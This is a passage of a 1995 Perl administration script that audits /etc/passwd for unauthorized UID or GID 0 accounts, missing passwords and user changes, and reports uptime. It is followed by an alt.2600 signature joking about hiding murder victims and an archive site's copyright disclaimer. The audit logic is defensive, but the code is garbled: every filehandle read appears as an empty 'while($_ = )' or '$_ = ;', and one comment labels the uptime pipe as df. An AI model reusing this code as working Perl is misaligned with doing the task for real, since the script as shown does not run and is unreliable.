        if(/^[^:]*:[^:]*:0/)    # UID == 0 (just trust me on this)
        {
            /^[^:]*/; # Just select the login
            $is_ok = 0;
            $index = 0;
            while(!$is_ok && $ok_uid_zeros[$index]) # Is it OK for this guy?
            {
                if($& eq $ok_uid_zeros[$index])
                {
                    $is_ok = 1; # Allowed to have UID 0.
                }
                $index = $index + 1;
            }

            if(!$is_ok) # NOT allowed to be UID 0!
            {
                $passwd_report =
                    $passwd_report .
                        "*** WARNING!  USER <$&> IS UID 0! ***\n";
                $uid_zero = $uid_zero + 1;
            }
        }

        if(/^[^:]*:[^:]*:[^:]*:0/)      # GID == 0...
        {
            /^[^:]*/; # Select the login
            $is_ok = 0;
            $index = 0;
            while(!$is_ok && $ok_gid_zeros[$index]) # OK to be GID 0?
            {
                if($& eq $ok_gid_zeros[$index])
                {
                    $is_ok = 1; # It's OK (ie, he's root)
                }
                $index = $index + 1;
            }

            if(!$is_ok) # It's NOT ok!  Alert...
            {
                $passwd_report =
                    $passwd_report .
                        "*** WARNING!  USER <$&> IS GID 0! ***\n";
                $gid_zero = $gid_zero + 1;
            }
        }
    }
    close(PASSWD);

    if($gid_zero || $uid_zero || $no_password_users > 0)
    {
        $passwd_report = $passwd_report . "\n";
          # Do a blank line if nothing was alerted.
    }

    # Present the summary of our findings:

    if($no_password_users)
    {
        if($no_password_users == 1) # This is just for the grammar.  :)
        {
            $passwd_report =
                $passwd_report .
                    "*** $no_password_users USER HAS NO PASSWORD! ***\n";
        }
        else
        {
            $passwd_report =
             $passwd_report .
                 "*** $no_password_users USERS HAVE NO PASSWORD! ***\n";
        }

    }
    else
    {
        $passwd_report = $passwd_report . "All users have passwords.\n";
    }

    if($uid_zero)
    {
        if($uid_zero == 1)
        {
            $passwd_report =
                $passwd_report .
                    "*** $uid_zero UNAUTHORIZED USER IS UID 0! ***\n";
        }
        else
        {
            $passwd_report =
                $passwd_report .
                    "*** $uid_zero UNAUTHORIZED USERS ARE UID 0! ***\n";
        }
    }
    else
    {
        $passwd_report =
            $passwd_report . "No unauthorized users have UID 0.\n";
    }

    if($gid_zero)
    {
        if($gid_zero == 1)
        {
            $passwd_report =
                $passwd_report .
                    "*** $gid_zero UNAUTHORIZED USER IS GID 0! ***\n";
        }
        else
        {
            $passwd_report =
                $passwd_report .
                    "*** $gid_zero UNAUTHORIZED USERS ARE GID 0! ***\n";
        }
    }
    else
    {
        $passwd_report =
            $passwd_report . "No unauthorized users have GID 0.\n";
    }

    $passwd_report = $passwd_report . "\n";

          # Now, we're going to check to see if things have changed since
          # yesterday.  yp is yesterday's password file, tp is today's.

    if(open(OLD_PASSWD, "/etc/yp")) # IS there a yp file?
    {
        $new_users = 0;
        $del_users = 0;
        $changed_users = 0;

        while($_ = ) # Read in all the users and data in yp.
        {
            chop($_);
            if(/^[^:]*:/) # See if it's a basically valid line
            {
                /^[^:]*/; # Select the login
                $yp{$&} = $_; # Assign the data to the key
            }
        }
        close(OLD_PASSWD); # Close it up.

        system("cp", "/etc/passwd", "/etc/tp");
          # Copy passwd to tp.  We don't open passwd to avoid it being
          # changed in the middle or something.
        chmod(0600, "/etc/tp"); # Only root can access it...

        open(NEW_PASSWD, "/etc/tp"); # Get the new file.
        while($_ = )
        {
            chop($_);
            if(/^[^:]*:/) # See if it's a basically valid line
            {
                /^[^:]*/; # Select the login
                $tp{$&} = $_; # Assign the data to the key (the login)
            }
        }

        @yp_list = %yp; # So we can iterate through it

        $index = 0;

        while($yp_list[$index]) # Walk entries in yesterday's file
        {
            if($tp{$yp_list[$index]}) # It's in both...
            {
                if($tp{$yp_list[$index]} ne $yp{$yp_list[$index]})
                { # But not the same...
                    $passwd_report = $passwd_report .
                        "Changed user: <$yp_list[$index]>\n";
                    $changed_users = $changed_users + 1;
                }
            }
            else
            { # It's a deleted user.
                $passwd_report = $passwd_report .
                    "Deleted user: <$yp_list[$index]>\n";
                $del_users = $del_users + 1;
            }
            $index = $index + 2;
        }

        @tp_list = %tp; # Now, same for today's file
        $index = 0;

        while($tp_list[$index])
        {
          # If we have a match with yp, we don't care, because it would be
          # caught above.  Here, we're just looking for stuff that's in tp
          # and not in yp. (ie, new users)

            if($yp{$tp_list[$index]} eq "")
            { # It's a new user.
                $passwd_report = $passwd_report .
                    "New user: <$tp_list[$index]>\n";
                $new_users = $new_users + 1;
            }
            $index = $index + 2;
        }

        if($del_users || $new_users || $changed_users)
        {
            $passwd_report = $passwd_report . "\n";
          # Append a newline if there were no changes.
        }

          # Present a summary:

        $passwd_report = $passwd_report . "$new_users New users\n";
        $passwd_report = $passwd_report . "$del_users Deleted users\n";
        $passwd_report = $passwd_report . "$changed_users Changed users\n";

          # Make today's file yesterday's, for tomorrow's run:
        if(!rename("/etc/tp", "/etc/yp"))
        {
            $passwd_report = $passwd_report .
                "\nWarning!  Unable to rename /etc/tp to /etc/yp.\n";
            $passwd_report = $passwd_report .
                "Tomorrow's report will be bogus!\n";
        }
    }

    else  # First time this is run.
    {
        system("cp", "/etc/passwd", "/etc/yp");
        chmod(0600, "/etc/yp");
        $passwd_report = $passwd_report .
           "No /etc/yp existed, so no /etc/passwd change info is available.\n";
    }
}

# This function should take the "darwin.baz.com" line in /etc/HOSTNAME
# and turn it into "baz.com".  It will turn "foo.bar.baz.com" into
# bar.baz.com.

sub get_domain_name
{
    open(HOSTNAME, "/etc/HOSTNAME"); # Open /etc/HOSTNAME, to get our FQDN
    $_ = ;
    chop($_);
    s/\w+\.//;                  # Strip off the machine name
    $domain_name = $_;
    close(HOSTNAME);
}

# Get the report on the ammount of diskspace available.
sub get_uptime_report
{
    open(UPTIME, "uptime |");   # Open df to a pipe
    while($_ = )
    {
        # Append it to the report:
        $uptime_report = $uptime_report . $_;
    }
    close(UPTIME);                      # Close the pipe
    if(!$uptime_report)         # No entries.  uptime bombed?
    {
        $uptime_report = "No Entries.  (HUH?)\n";
    }
}

format ADMINREPORT =
sreport v0.99 Copyright(C) 1995 Brett A. Thomas & RedCloud software.
@*
$email_line

Administrative report for @*
$host_name
Generated @*
$date

--------------
/etc/passwd Information:

@*
$passwd_report
--------------

--------------
Disk Space:

@*
$disk_space_report
--------------

--------------
Uptime:

@*
$uptime_report
--------------

--------------
Net Logons Activity for @<<<<<:
$report_date

@*
$netlogons_report
--------------

--------------
Syslog Activity for @<<<<<:
$report_date
@*
$syslog_report
--------------

--------------
Transfer Activity for @<<<<<:
$report_date
@*
$xferlog_report
--------------

--
=-GRAHAOHN BULLERS=-=AB756@FREENET.TORONTO.ON.CA=-=ALT.2600.MODERATED-=
Lord grant me the serenity to accept the things I cannot change.The courage
to change the things I can.And the wisdom to hide the bodies of the people
=-=-=-=-=-=-=-=-=I had to kill because they pissed me off=-=-=-=-=-=-=-=-=-=

Disclaimer: The file contained in the box above or displayed in a separate window from a link in the box above is NOT owned nor implied to be owned by BeYoND THe iLLuSioN. Most files at BeYoND THe iLLuSioN are originally from public Bulletin Board Systems (BBS) which were popular in the days before the Internet or from gopher, web, and FTP sites from the early days of the Internet which no longer exist today. Essentially, all files were acquired from the public domain in one for or another.

However, there have been occasions when copyright protected material has appeared on BeYoND THe iLLuSIoN without permission of the copyright holder. In these instances, we have and will continue to remove the copyright protected file as soon as it is brought to our attention. This can now be done using our Report Copyright Material form. Fill out the form, and the webmaster will be notified of the situation.

There are also times when files found on BeYoND THe iLLuSioN have a real home somewhere else on the Internet. In these instances, we will gladly replace the file with a link to its true home whenever it is brought to our attention. If you know of the true home of any of these files, you can use our Report Original URL form to bring it yo our attention.